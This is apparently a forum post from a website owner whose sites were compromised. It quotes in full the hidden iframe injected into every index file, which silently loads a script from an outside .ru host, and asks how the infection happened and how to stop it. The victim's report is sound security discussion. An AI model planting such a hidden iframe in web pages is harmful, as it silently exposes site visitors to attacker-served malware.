[Emase]

We have had the following code added to all of our sites:

<iframe width=”125“ height=”125“ style=”visibility: hidden;“ src=”http://a3l.ru:8080/ts/in.cgi?pepsi85“>

It appears to have been added to all index files across all sites. I've manually removed it from all the important sites, but what caused this problem and how do I stop it happening again?

I'm guessing this is some kind of trojan horse? Has anybody else here been affected by this? I have seen posts online over the last 24 hours from other people who have been affected.

Any help much appreciated,
Mike